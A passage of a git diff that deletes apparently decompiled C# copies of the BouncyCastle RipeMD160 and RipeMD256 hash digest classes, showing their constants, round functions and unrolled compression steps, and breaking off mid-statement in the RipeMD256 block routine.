a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD160Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD160Digest.cs deleted file mode 100644 index fce9ba6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD160Digest.cs +++ /dev/null @@ -1,493 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class RipeMD160Digest : GeneralDigest -{ - private const int DigestLength = 20; - - private int H0; - - private int H1; - - private int H2; - - private int H3; - - private int H4; - - private int[] X = new int[16]; - - private int xOff; - - public override string AlgorithmName => "RIPEMD160"; - - public RipeMD160Digest() - { - Reset(); - } - - public RipeMD160Digest(RipeMD160Digest t) - : base(t) - { - CopyIn(t); - } - - private void CopyIn(RipeMD160Digest t) - { - CopyIn((GeneralDigest)t); - H0 = t.H0; - H1 = t.H1; - H2 = t.H2; - H3 = t.H3; - H4 = t.H4; - Array.Copy(t.X, 0, X, 0, t.X.Length); - xOff = t.xOff; - } - - public override int GetDigestSize() - { - return 20; - } - - internal override void ProcessWord(byte[] input, int inOff) - { - X[xOff++] = (input[inOff] & 0xFF) | ((input[inOff + 1] & 0xFF) << 8) | ((input[inOff + 2] & 0xFF) << 16) | ((input[inOff + 3] & 0xFF) << 24); - if (xOff == 16) - { - ProcessBlock(); - } - } - - internal override void ProcessLength(long bitLength) - { - if (xOff > 14) - { - ProcessBlock(); - } - X[14] = (int)(bitLength & 0xFFFFFFFFu); - X[15] = (int)(bitLength >>> 32); - } - - private void UnpackWord(int word, byte[] outBytes, int outOff) - { - outBytes[outOff] = (byte)word; - outBytes[outOff + 1] = (byte)((uint)word >> 8); - outBytes[outOff + 2] = (byte)((uint)word >> 16); - outBytes[outOff + 3] = (byte)((uint)word >> 24); - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - UnpackWord(H0, output, outOff); - UnpackWord(H1, output, outOff + 4); - UnpackWord(H2, output, outOff + 8); - UnpackWord(H3, output, outOff + 12); - UnpackWord(H4, output, outOff + 16); - Reset(); - return 20; - } - - public override void Reset() - { - base.Reset(); - H0 = 1732584193; - H1 = -271733879; - H2 = -1732584194; - H3 = 271733878; - H4 = -1009589776; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - } - - private int RL(int x, int n) - { - return (x << n) | (x >>> 32 - n); - } - - private int F1(int x, int y, int z) - { - return x ^ y ^ z; - } - - private int F2(int x, int y, int z) - { - return (x & y) | (~x & z); - } - - private int F3(int x, int y, int z) - { - return (x | ~y) ^ z; - } - - private int F4(int x, int y, int z) - { - return (x & z) | (y & ~z); - } - - private int F5(int x, int y, int z) - { - return x ^ (y | ~z); - } - - internal override void ProcessBlock() - { - int h; - int num = (h = H0); - int h2; - int num2 = (h2 = H1); - int h3; - int num3 = (h3 = H2); - int h4; - int num4 = (h4 = H3); - int h5; - int num5 = (h5 = H4); - num = RL(num + F1(num2, num3, num4) + X[0], 11) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F1(num, num2, num3) + X[1], 14) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F1(num5, num, num2) + X[2], 15) + num3; - num = RL(num, 10); - num3 = RL(num3 + F1(num4, num5, num) + X[3], 12) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F1(num3, num4, num5) + X[4], 5) + num; - num4 = RL(num4, 10); - num = RL(num + F1(num2, num3, num4) + X[5], 8) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F1(num, num2, num3) + X[6], 7) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F1(num5, num, num2) + X[7], 9) + num3; - num = RL(num, 10); - num3 = RL(num3 + F1(num4, num5, num) + X[8], 11) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F1(num3, num4, num5) + X[9], 13) + num; - num4 = RL(num4, 10); - num = RL(num + F1(num2, num3, num4) + X[10], 14) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F1(num, num2, num3) + X[11], 15) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F1(num5, num, num2) + X[12], 6) + num3; - num = RL(num, 10); - num3 = RL(num3 + F1(num4, num5, num) + X[13], 7) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F1(num3, num4, num5) + X[14], 9) + num; - num4 = RL(num4, 10); - num = RL(num + F1(num2, num3, num4) + X[15], 8) + num5; - num3 = RL(num3, 10); - h = RL(h + F5(h2, h3, h4) + X[5] + 1352829926, 8) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F5(h, h2, h3) + X[14] + 1352829926, 9) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F5(h5, h, h2) + X[7] + 1352829926, 9) + h3; - h = RL(h, 10); - h3 = RL(h3 + F5(h4, h5, h) + X[0] + 1352829926, 11) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F5(h3, h4, h5) + X[9] + 1352829926, 13) + h; - h4 = RL(h4, 10); - h = RL(h + F5(h2, h3, h4) + X[2] + 1352829926, 15) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F5(h, h2, h3) + X[11] + 1352829926, 15) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F5(h5, h, h2) + X[4] + 1352829926, 5) + h3; - h = RL(h, 10); - h3 = RL(h3 + F5(h4, h5, h) + X[13] + 1352829926, 7) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F5(h3, h4, h5) + X[6] + 1352829926, 7) + h; - h4 = RL(h4, 10); - h = RL(h + F5(h2, h3, h4) + X[15] + 1352829926, 8) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F5(h, h2, h3) + X[8] + 1352829926, 11) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F5(h5, h, h2) + X[1] + 1352829926, 14) + h3; - h = RL(h, 10); - h3 = RL(h3 + F5(h4, h5, h) + X[10] + 1352829926, 14) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F5(h3, h4, h5) + X[3] + 1352829926, 12) + h; - h4 = RL(h4, 10); - h = RL(h + F5(h2, h3, h4) + X[12] + 1352829926, 6) + h5; - h3 = RL(h3, 10); - num5 = RL(num5 + F2(num, num2, num3) + X[7] + 1518500249, 7) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F2(num5, num, num2) + X[4] + 1518500249, 6) + num3; - num = RL(num, 10); - num3 = RL(num3 + F2(num4, num5, num) + X[13] + 1518500249, 8) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F2(num3, num4, num5) + X[1] + 1518500249, 13) + num; - num4 = RL(num4, 10); - num = RL(num + F2(num2, num3, num4) + X[10] + 1518500249, 11) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F2(num, num2, num3) + X[6] + 1518500249, 9) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F2(num5, num, num2) + X[15] + 1518500249, 7) + num3; - num = RL(num, 10); - num3 = RL(num3 + F2(num4, num5, num) + X[3] + 1518500249, 15) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F2(num3, num4, num5) + X[12] + 1518500249, 7) + num; - num4 = RL(num4, 10); - num = RL(num + F2(num2, num3, num4) + X[0] + 1518500249, 12) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F2(num, num2, num3) + X[9] + 1518500249, 15) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F2(num5, num, num2) + X[5] + 1518500249, 9) + num3; - num = RL(num, 10); - num3 = RL(num3 + F2(num4, num5, num) + X[2] + 1518500249, 11) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F2(num3, num4, num5) + X[14] + 1518500249, 7) + num; - num4 = RL(num4, 10); - num = RL(num + F2(num2, num3, num4) + X[11] + 1518500249, 13) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F2(num, num2, num3) + X[8] + 1518500249, 12) + num4; - num2 = RL(num2, 10); - h5 = RL(h5 + F4(h, h2, h3) + X[6] + 1548603684, 9) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F4(h5, h, h2) + X[11] + 1548603684, 13) + h3; - h = RL(h, 10); - h3 = RL(h3 + F4(h4, h5, h) + X[3] + 1548603684, 15) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F4(h3, h4, h5) + X[7] + 1548603684, 7) + h; - h4 = RL(h4, 10); - h = RL(h + F4(h2, h3, h4) + X[0] + 1548603684, 12) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F4(h, h2, h3) + X[13] + 1548603684, 8) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F4(h5, h, h2) + X[5] + 1548603684, 9) + h3; - h = RL(h, 10); - h3 = RL(h3 + F4(h4, h5, h) + X[10] + 1548603684, 11) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F4(h3, h4, h5) + X[14] + 1548603684, 7) + h; - h4 = RL(h4, 10); - h = RL(h + F4(h2, h3, h4) + X[15] + 1548603684, 7) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F4(h, h2, h3) + X[8] + 1548603684, 12) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F4(h5, h, h2) + X[12] + 1548603684, 7) + h3; - h = RL(h, 10); - h3 = RL(h3 + F4(h4, h5, h) + X[4] + 1548603684, 6) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F4(h3, h4, h5) + X[9] + 1548603684, 15) + h; - h4 = RL(h4, 10); - h = RL(h + F4(h2, h3, h4) + X[1] + 1548603684, 13) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F4(h, h2, h3) + X[2] + 1548603684, 11) + h4; - h2 = RL(h2, 10); - num4 = RL(num4 + F3(num5, num, num2) + X[3] + 1859775393, 11) + num3; - num = RL(num, 10); - num3 = RL(num3 + F3(num4, num5, num) + X[10] + 1859775393, 13) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F3(num3, num4, num5) + X[14] + 1859775393, 6) + num; - num4 = RL(num4, 10); - num = RL(num + F3(num2, num3, num4) + X[4] + 1859775393, 7) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F3(num, num2, num3) + X[9] + 1859775393, 14) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F3(num5, num, num2) + X[15] + 1859775393, 9) + num3; - num = RL(num, 10); - num3 = RL(num3 + F3(num4, num5, num) + X[8] + 1859775393, 13) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F3(num3, num4, num5) + X[1] + 1859775393, 15) + num; - num4 = RL(num4, 10); - num = RL(num + F3(num2, num3, num4) + X[2] + 1859775393, 14) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F3(num, num2, num3) + X[7] + 1859775393, 8) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F3(num5, num, num2) + X[0] + 1859775393, 13) + num3; - num = RL(num, 10); - num3 = RL(num3 + F3(num4, num5, num) + X[6] + 1859775393, 6) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F3(num3, num4, num5) + X[13] + 1859775393, 5) + num; - num4 = RL(num4, 10); - num = RL(num + F3(num2, num3, num4) + X[11] + 1859775393, 12) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F3(num, num2, num3) + X[5] + 1859775393, 7) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F3(num5, num, num2) + X[12] + 1859775393, 5) + num3; - num = RL(num, 10); - h4 = RL(h4 + F3(h5, h, h2) + X[15] + 1836072691, 9) + h3; - h = RL(h, 10); - h3 = RL(h3 + F3(h4, h5, h) + X[5] + 1836072691, 7) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F3(h3, h4, h5) + X[1] + 1836072691, 15) + h; - h4 = RL(h4, 10); - h = RL(h + F3(h2, h3, h4) + X[3] + 1836072691, 11) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F3(h, h2, h3) + X[7] + 1836072691, 8) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F3(h5, h, h2) + X[14] + 1836072691, 6) + h3; - h = RL(h, 10); - h3 = RL(h3 + F3(h4, h5, h) + X[6] + 1836072691, 6) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F3(h3, h4, h5) + X[9] + 1836072691, 14) + h; - h4 = RL(h4, 10); - h = RL(h + F3(h2, h3, h4) + X[11] + 1836072691, 12) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F3(h, h2, h3) + X[8] + 1836072691, 13) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F3(h5, h, h2) + X[12] + 1836072691, 5) + h3; - h = RL(h, 10); - h3 = RL(h3 + F3(h4, h5, h) + X[2] + 1836072691, 14) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F3(h3, h4, h5) + X[10] + 1836072691, 13) + h; - h4 = RL(h4, 10); - h = RL(h + F3(h2, h3, h4) + X[0] + 1836072691, 13) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F3(h, h2, h3) + X[4] + 1836072691, 7) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F3(h5, h, h2) + X[13] + 1836072691, 5) + h3; - h = RL(h, 10); - num3 = RL(num3 + F4(num4, num5, num) + X[1] + -1894007588, 11) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F4(num3, num4, num5) + X[9] + -1894007588, 12) + num; - num4 = RL(num4, 10); - num = RL(num + F4(num2, num3, num4) + X[11] + -1894007588, 14) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F4(num, num2, num3) + X[10] + -1894007588, 15) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F4(num5, num, num2) + X[0] + -1894007588, 14) + num3; - num = RL(num, 10); - num3 = RL(num3 + F4(num4, num5, num) + X[8] + -1894007588, 15) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F4(num3, num4, num5) + X[12] + -1894007588, 9) + num; - num4 = RL(num4, 10); - num = RL(num + F4(num2, num3, num4) + X[4] + -1894007588, 8) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F4(num, num2, num3) + X[13] + -1894007588, 9) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F4(num5, num, num2) + X[3] + -1894007588, 14) + num3; - num = RL(num, 10); - num3 = RL(num3 + F4(num4, num5, num) + X[7] + -1894007588, 5) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F4(num3, num4, num5) + X[15] + -1894007588, 6) + num; - num4 = RL(num4, 10); - num = RL(num + F4(num2, num3, num4) + X[14] + -1894007588, 8) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F4(num, num2, num3) + X[5] + -1894007588, 6) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F4(num5, num, num2) + X[6] + -1894007588, 5) + num3; - num = RL(num, 10); - num3 = RL(num3 + F4(num4, num5, num) + X[2] + -1894007588, 12) + num2; - num5 = RL(num5, 10); - h3 = RL(h3 + F2(h4, h5, h) + X[8] + 2053994217, 15) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F2(h3, h4, h5) + X[6] + 2053994217, 5) + h; - h4 = RL(h4, 10); - h = RL(h + F2(h2, h3, h4) + X[4] + 2053994217, 8) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F2(h, h2, h3) + X[1] + 2053994217, 11) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F2(h5, h, h2) + X[3] + 2053994217, 14) + h3; - h = RL(h, 10); - h3 = RL(h3 + F2(h4, h5, h) + X[11] + 2053994217, 14) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F2(h3, h4, h5) + X[15] + 2053994217, 6) + h; - h4 = RL(h4, 10); - h = RL(h + F2(h2, h3, h4) + X[0] + 2053994217, 14) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F2(h, h2, h3) + X[5] + 2053994217, 6) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F2(h5, h, h2) + X[12] + 2053994217, 9) + h3; - h = RL(h, 10); - h3 = RL(h3 + F2(h4, h5, h) + X[2] + 2053994217, 12) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F2(h3, h4, h5) + X[13] + 2053994217, 9) + h; - h4 = RL(h4, 10); - h = RL(h + F2(h2, h3, h4) + X[9] + 2053994217, 12) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F2(h, h2, h3) + X[7] + 2053994217, 5) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F2(h5, h, h2) + X[10] + 2053994217, 15) + h3; - h = RL(h, 10); - h3 = RL(h3 + F2(h4, h5, h) + X[14] + 2053994217, 8) + h2; - h5 = RL(h5, 10); - num2 = RL(num2 + F5(num3, num4, num5) + X[4] + -1454113458, 9) + num; - num4 = RL(num4, 10); - num = RL(num + F5(num2, num3, num4) + X[0] + -1454113458, 15) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F5(num, num2, num3) + X[5] + -1454113458, 5) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F5(num5, num, num2) + X[9] + -1454113458, 11) + num3; - num = RL(num, 10); - num3 = RL(num3 + F5(num4, num5, num) + X[7] + -1454113458, 6) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F5(num3, num4, num5) + X[12] + -1454113458, 8) + num; - num4 = RL(num4, 10); - num = RL(num + F5(num2, num3, num4) + X[2] + -1454113458, 13) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F5(num, num2, num3) + X[10] + -1454113458, 12) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F5(num5, num, num2) + X[14] + -1454113458, 5) + num3; - num = RL(num, 10); - num3 = RL(num3 + F5(num4, num5, num) + X[1] + -1454113458, 12) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F5(num3, num4, num5) + X[3] + -1454113458, 13) + num; - num4 = RL(num4, 10); - num = RL(num + F5(num2, num3, num4) + X[8] + -1454113458, 14) + num5; - num3 = RL(num3, 10); - num5 = RL(num5 + F5(num, num2, num3) + X[11] + -1454113458, 11) + num4; - num2 = RL(num2, 10); - num4 = RL(num4 + F5(num5, num, num2) + X[6] + -1454113458, 8) + num3; - num = RL(num, 10); - num3 = RL(num3 + F5(num4, num5, num) + X[15] + -1454113458, 5) + num2; - num5 = RL(num5, 10); - num2 = RL(num2 + F5(num3, num4, num5) + X[13] + -1454113458, 6) + num; - num4 = RL(num4, 10); - h2 = RL(h2 + F1(h3, h4, h5) + X[12], 8) + h; - h4 = RL(h4, 10); - h = RL(h + F1(h2, h3, h4) + X[15], 5) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F1(h, h2, h3) + X[10], 12) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F1(h5, h, h2) + X[4], 9) + h3; - h = RL(h, 10); - h3 = RL(h3 + F1(h4, h5, h) + X[1], 12) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F1(h3, h4, h5) + X[5], 5) + h; - h4 = RL(h4, 10); - h = RL(h + F1(h2, h3, h4) + X[8], 14) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F1(h, h2, h3) + X[7], 6) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F1(h5, h, h2) + X[6], 8) + h3; - h = RL(h, 10); - h3 = RL(h3 + F1(h4, h5, h) + X[2], 13) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F1(h3, h4, h5) + X[13], 6) + h; - h4 = RL(h4, 10); - h = RL(h + F1(h2, h3, h4) + X[14], 5) + h5; - h3 = RL(h3, 10); - h5 = RL(h5 + F1(h, h2, h3) + X[0], 15) + h4; - h2 = RL(h2, 10); - h4 = RL(h4 + F1(h5, h, h2) + X[3], 13) + h3; - h = RL(h, 10); - h3 = RL(h3 + F1(h4, h5, h) + X[9], 11) + h2; - h5 = RL(h5, 10); - h2 = RL(h2 + F1(h3, h4, h5) + X[11], 11) + h; - h4 = RL(h4, 10); - h4 += num3 + H1; - H1 = H2 + num4 + h5; - H2 = H3 + num5 + h; - H3 = H4 + num + h2; - H4 = H0 + num2 + h3; - H0 = h4; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - } - - public override IMemoable Copy() - { - return new RipeMD160Digest(this); - } - - public override void Reset(IMemoable other) - { - RipeMD160Digest t = (RipeMD160Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD256Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD256Digest.cs deleted file mode 100644 index 95ec544..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD256Digest.cs +++ /dev/null @@ -1,363 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class RipeMD256Digest : GeneralDigest -{ - private const int DigestLength = 32; - - private int H0; - - private int H1; - - private int H2; - - private int H3; - - private int H4; - - private int H5; - - private int H6; - - private int H7; - - private int[] X = new int[16]; - - private int xOff; - - public override string AlgorithmName => "RIPEMD256"; - - public override int GetDigestSize() - { - return 32; - } - - public RipeMD256Digest() - { - Reset(); - } - - public RipeMD256Digest(RipeMD256Digest t) - : base(t) - { - CopyIn(t); - } - - private void CopyIn(RipeMD256Digest t) - { - CopyIn((GeneralDigest)t); - H0 = t.H0; - H1 = t.H1; - H2 = t.H2; - H3 = t.H3; - H4 = t.H4; - H5 = t.H5; - H6 = t.H6; - H7 = t.H7; - Array.Copy(t.X, 0, X, 0, t.X.Length); - xOff = t.xOff; - } - - internal override void ProcessWord(byte[] input, int inOff) - { - X[xOff++] = (input[inOff] & 0xFF) | ((input[inOff + 1] & 0xFF) << 8) | ((input[inOff + 2] & 0xFF) << 16) | ((input[inOff + 3] & 0xFF) << 24); - if (xOff == 16) - { - ProcessBlock(); - } - } - - internal override void ProcessLength(long bitLength) - { - if (xOff > 14) - { - ProcessBlock(); - } - X[14] = (int)(bitLength & 0xFFFFFFFFu); - X[15] = (int)(bitLength >>> 32); - } - - private void UnpackWord(int word, byte[] outBytes, int outOff) - { - outBytes[outOff] = (byte)word; - outBytes[outOff + 1] = (byte)((uint)word >> 8); - outBytes[outOff + 2] = (byte)((uint)word >> 16); - outBytes[outOff + 3] = (byte)((uint)word >> 24); - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - UnpackWord(H0, output, outOff); - UnpackWord(H1, output, outOff + 4); - UnpackWord(H2, output, outOff + 8); - UnpackWord(H3, output, outOff + 12); - UnpackWord(H4, output, outOff + 16); - UnpackWord(H5, output, outOff + 20); - UnpackWord(H6, output, outOff + 24); - UnpackWord(H7, output, outOff + 28); - Reset(); - return 32; - } - - public override void Reset() - { - base.Reset(); - H0 = 1732584193; - H1 = -271733879; - H2 = -1732584194; - H3 = 271733878; - H4 = 1985229328; - H5 = -19088744; - H6 = -1985229329; - H7 = 19088743; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - } - - private int RL(int x, int n) - { - return (x << n) | (x >>> 32 - n); - } - - private int F1(int x, int y, int z) - { - return x ^ y ^ z; - } - - private int F2(int x, int y, int z) - { - return (x & y) | (~x & z); - } - - private int F3(int x, int y, int z) - { - return (x | ~y) ^ z; - } - - private int F4(int x, int y, int z) - { - return (x & z) | (y & ~z); - } - - private int F1(int a, int b, int c, int d, int x, int s) - { - return RL(a + F1(b, c, d) + x, s); - } - - private int F2(int a, int b, int c, int d, int x, int s) - { - return RL(a + F2(b, c, d) + x + 1518500249, s); - } - - private int F3(int a, int b, int c, int d, int x, int s) - { - return RL(a + F3(b, c, d) + x + 1859775393, s); - } - - private int F4(int a, int b, int c, int d, int x, int s) - { - return RL(a + F4(b, c, d) + x + -1894007588, s); - } - - private int FF1(int a, int b, int c, int d, int x, int s) - { - return RL(a + F1(b, c, d) + x, s); - } - - private int FF2(int a, int b, int c, int d, int x, int s) - { - return RL(a + F2(b, c, d) + x + 1836072691, s); - } - - private int FF3(int a, int b, int c, int d, int x, int s) - { - return RL(a + F3(b, c, d) + x + 1548603684, s); - } - - private int FF4(int a, int b, int c, int d, int x, int s) - { - return RL(a + F4(b, c, d) + x + 1352829926, s); - } - - internal override void ProcessBlock() - { - int h = H0; - int h2 = H1; - int h3 = H2; - int h4 = H3; - int h5 = H4; - int h6 = H5; - int h7 = H6; - int h8 = H7; - h = F1(h, h2, h3, h4, X[0], 11); - h4 = F1(h4, h, h2, h3, X[1], 14); - h3 = F1(h3, h4, h, h2, X[2], 15); - h2 = F1(h2, h3, h4, h, X[3], 12); - h = F1(h, h2, h3, h4, X[4], 5); - h4 = F1(h4, h, h2, h3, X[5], 8); - h3 = F1(h3, h4, h, h2, X[6], 7); - h2 = F1(h2, h3, h4, h, X[7], 9); - h = F1(h, h2, h3, h4, X[8], 11); - h4 = F1(h4, h, h2, h3, X[9], 13); - h3 = F1(h3, h4, h, h2, X[10], 14); - h2 = F1(h2, h3, h4, h, X[11], 15); - h = F1(h, h2, h3, h4, X[12], 6); - h4 = F1(h4, h, h2, h3, X[13], 7); - h3 = F1(h3, h4, h, h2, X[14], 9); - h2 = F1(h2, h3, h4, h, X[15], 8); - h5 = FF4(h5, h6, h7, h8, X[5], 8); - h8 = FF4(h8, h5, h6, h7, X[14], 9); - h7 = FF4(h7, h8, h5, h6, X[7], 9); - h6 = FF4(h6, h7, h8, h5, X[0], 11); - h5 = FF4(h5, h6, h7, h8, X[9], 13); - h8 = FF4(h8, h5, h6, h7, X[2], 15); - h7 = FF4(h7, h8, h5, h6, X[11], 15); - h6 = FF4(h6, h7, h8, h5, X[4], 5); - h5 = FF4(h5, h6, h7, h8, X[13], 7); - h8 = FF4(h8, h5, h6, h7, X[6], 7); - h7 = FF4(h7, h8, h5, h6, X[15], 8); - h6 = FF4(h6, h7, h8, h5, X[8], 11); - h5 = FF4(h5, h6, h7, h8, X[1], 14); - h8 = FF4(h8, h5, h6, h7, X[10], 14); - h7 = FF4(h7, h8, h5, h6, X[3], 12); - h6 = FF4(h6, h7, h8, h5, X[12], 6); - int num = h; - h = h5; - h5 = num; - h = F2(h, h2, h3, h4, X[7], 7); - h4 = F2(h4, h, h2, h3, X[4], 6); - h3 = F2(h3, h4, h, h2, X[13], 8); - h2 = F2(h2, h3, h4, h, X[1], 13); - h = F2(h, h2, h3, h4, X[10], 11); - h4 = F2(h4, h, h2, h3, X[6], 9); - h3 = F2(h3, h4, h, h2, X[15], 7); - h2 = F2(h2, h3, h4, h, X[3], 15); - h = F2(h, h2, h3, h4, X[12], 7); - h4 = F2(h4, h, h2, h3, X[0], 12); - h3 = F2(h3, h4, h, h2, X[9], 15); - h2 = F2(h2, h3, h4, h, X[5], 9); - h = F2(h, h2, h3, h4, X[2], 11); - h4 = F2(h4, h, h2, h3, X[14], 7); - h3 = F2(h3, h4, h, h2, X[11], 13); - h2 = F2(h2, h3, h4, h, X[8], 12); - h5 = FF3(h5, h6, h7, h8, X[6], 9); - h8 = FF3(h8, h5, h6, h7, X[11], 13); - h7 = FF3(h7, h8, h5, h6, X[3], 15); - h6 = FF3(h6, h7, h8, h5, X[7], 7); - h5 = FF3(h5, h6, h7, h8, X[0], 12); - h8 = FF3(h8, h5, h6, h7, X[13], 8); - h7 = FF3(h7, h8, h5, h6, X[5], 9); - h6 = FF3(h6, h7, h8, h5, X[10], 11); - h5 = FF3(h5, h6, h7, h8, X[14], 7); - h8 = FF3(h8, h5, h6, h7, X[15], 7); - h7 = FF3(h7, h8, h5, h6, X[8], 12); - h6 = FF3(h6, h7, h8, h5, X[12], 7); - h5 = FF3(h5, h6, h7, h8, X[4], 6); - h8 = FF3(h8, h5, h6, h7, X[9], 15); - h7 = FF3(h7, h8, h5, h6, X[1], 13); - h6 = FF3(h6, h7, h8, h5, X[2], 11); - num = h2; - h2 = h6; - h6 = num; - h = F3(h, h2, h3, h4, X[3], 11); - h4 = F3(h4, h, h2, h3, X[10], 13); - h3 = F3(h3, h4, h, h2, X[14], 6); - h2 = F3(h2, h3, h4, h, X[4], 7); - h = F3(h, h2, h3, h4, X[9], 14); - h4 = F3(h4, h, h2, h3, X[15], 9); - h3 = F3(h3, h4, h, h2, X[8], 13); - h2 = F3(h2, h3, h4, h, X[1], 15); - h = F3(h, h2, h3, h4, X[2], 14); - h4 = F3(h4, h, h2, h3, X[7], 8); - h3 = F3(h3, h4, h, h2, X[0], 13); - h2 = F3(h2, h3, h4, h, X[6], 6); - h = F3(h, h2, h3, h4, X[13], 5); - h4 = F3(h4, h, h2, h3, X[11], 12); - h3 = F3(h3, h4, h, h2, X[5], 7); - h2 = F3(h2, h3, h4, h, X[12], 5); - h5 = FF2(h5, h6, h7, h8, X[15], 9); - h8 = FF2(h8, h5, h6, h7, X[5], 7); - h7 = FF2(h7, h8, h5, h6, X[1], 15); - h6 = FF2(h6, h7, h8, h5, X[3], 11); - h5 = FF2(h5, h6, h7, h8, X[7], 8); - h8 = FF2(h8, h5, h6, h7, X[14], 6); - h7 = FF2(h7, h8, h5, h6, X[6], 6); - h6 = FF2(h6, h7, h8, h5, X[9], 14); - h5 = FF2(h5, h6, h7, h8, X[11], 12); - h8 = FF2(h8, h5, h6, h7, X[8], 13); - h7 = FF2(h7, h8, h5, h6, X[12], 5); - h6 = FF2(h6, h7, h8, h5, X[2], 14); - h5 = FF2(h5, h6, h7, h8, X[10], 13); - h8 = FF2(h8, h5, h6, h7, X[0], 13); - h7 = FF2(h7, h8, h5, h6, X[4], 7); - h6 = FF2(h6, h7, h8, h5, X[13], 5); - num = h3; - h3 = h7; - h7 = num; - h = F4(h, h2, h3, h4, X[1], 11); - h4 